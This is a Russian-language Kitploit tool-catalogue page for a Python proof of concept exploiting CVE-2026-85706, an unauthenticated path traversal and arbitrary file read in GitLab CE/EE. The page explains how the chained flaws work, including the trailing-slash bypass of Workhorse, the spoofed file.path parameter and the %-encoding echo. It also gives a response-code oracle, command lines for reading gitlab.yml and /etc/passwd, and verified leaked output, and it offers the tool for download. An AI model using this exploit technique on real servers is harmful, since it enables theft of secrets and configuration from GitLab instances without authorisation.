Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-85706 — Python PoC, эксплуатирующий CVE-2026-85706 — неаутентифицированный обход пути и произвольное чтение файлов в GitLab CE/EE через эндпоинт create-commit, с оракулом чтения файлов. | Kitploit
Инструменты/GitHubGitHub/brigadeops32/cve-2026-85706
Сканеры уязвимостейАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийЭксфильтрация данныхСбор информацииВеб-безопасностьТестирование на Проникновение
GitHubbrigadeops32/cve-2026-85706

CVE-2026-85706

Python PoC, эксплуатирующий CVE-2026-85706 — неаутентифицированный обход пути и произвольное чтение файлов в GitLab CE/EE через эндпоинт create-commit, с оракулом чтения файлов.

7 ч 40 мин назадЕщё не проверено
Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-85706

Неаутентифицированный обход пути / произвольное чтение файлов в GitLab CE и EE. CVSS 10.0. Проверено на самостоятельно управляемом экземпляре 19.3.1 в локальной лаборатории.

Затронутые версии

GitLab CE/EE:

  • 18.7 до 19.1.7
  • 19.2.0 до 19.2.5
  • 19.3.0 до 19.3.1

Предусловие: на экземпляре есть хотя бы один публичный проект. Подойдёт любой реальный id проекта. Аккаунт или токен не нужны.

Как это работает

Эндпоинт создания коммита POST /api/v4/projects/:id/repository/commits принимает большие тела файлов, поэтому Workhorse буферизует тело запроса на диск и внедряет метаданные file.path / file.size, которые Rails затем считывает. Совпадают четыре ошибки:

  1. Маршрут проверяет require_gitlab_workhorse! только при входе. Настоящий authenticate! находится за authorize_push_to_branch!, который выполняется после чтения файла.
  • file_params_from_body_upload берёт file.path и file.size напрямую из параметров запроса, поэтому File.read(file_path) следует по любому абсолютному пути, который вы укажете.
  • Перехват загрузки тела в Workhorse соответствует .../repository/commits\z. Добавление завершающего слэша не попадает в этот маршрут и проваливается в подписанный обратный прокси, который пересылает необработанное тело с действительным JWT. Проверка Workhorse проходит, Grape нормализует слэш, и подделанные параметры выживают.
  • При Content-Type: application/x-www-form-urlencoded содержимое файла разбирается через Rack::Utils.parse_nested_query. Недопустимая последовательность % вызывает ArgumentError: invalid %-encoding (<component>), и ответ 400 дословно отражает этот компонент.
  • Чтение выполняется от имени пользователя git. Содержимое возвращается только если файл содержит недопустимую последовательность %; в противном случае вы всё равно получаете чистый оракул существования и читаемости:

    ОтветЗначение
    400 local file not presentфайл не существует
    500существует, не читается пользователем git
    401существует и читается, нет недопустимого %, ничего не отражено
    400 invalid %-encoding (...)читается, компонент отражён

    Файлы, которые надёжно отражаются при стандартной установке omnibus: gitlab.yml (комментарий в заголовке содержит 95% в начале), логи и артефакты CI-заданий, загруженные вложения, и database.yml на развёртываниях с внешней базой данных.

    Использование

    root@kitploit:~
    python3 exploit.py -t http://target:8080                 # reads gitlab.yml
    python3 exploit.py -t http://target:8080 -f /etc/passwd
    python3 exploit.py -t http://target:8080 -p 3 -o out.txt
    

    Без зависимостей, только стандартная библиотека.

    Проверенный вывод

    Против gitlab-ce 19.3.1 в docker, без учётных данных:

    root@kitploit:~
    $ python3 exploit.py -t http://127.0.0.1:8929
    [*] HTTP 400 | leaked
    [+] leaked content of /var/opt/gitlab/gitlab-rails/etc/gitlab.yml:
    ------------------------------------------------------------
    =========================
    
      ## GitLab settings
      gitlab:
        ## Web server settings (note: host is the FQDN, do not include http://)
        host: localhost
        port: 8929
        https: false
        ...
    ------------------------------------------------------------
    

    Выборочные проверки оракула из того же запуска:

    root@kitploit:~
    /etc/passwd        -> 401 (readable, no echo)
    /etc/shadow        -> 500 (exists, permission denied)
    /etc/nonexistent   -> 400 local file not present
    

    Отказ от ответственности

    Только для авторизованного тестирования безопасности и исследований. Не используйте против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.

    Скачать инструмент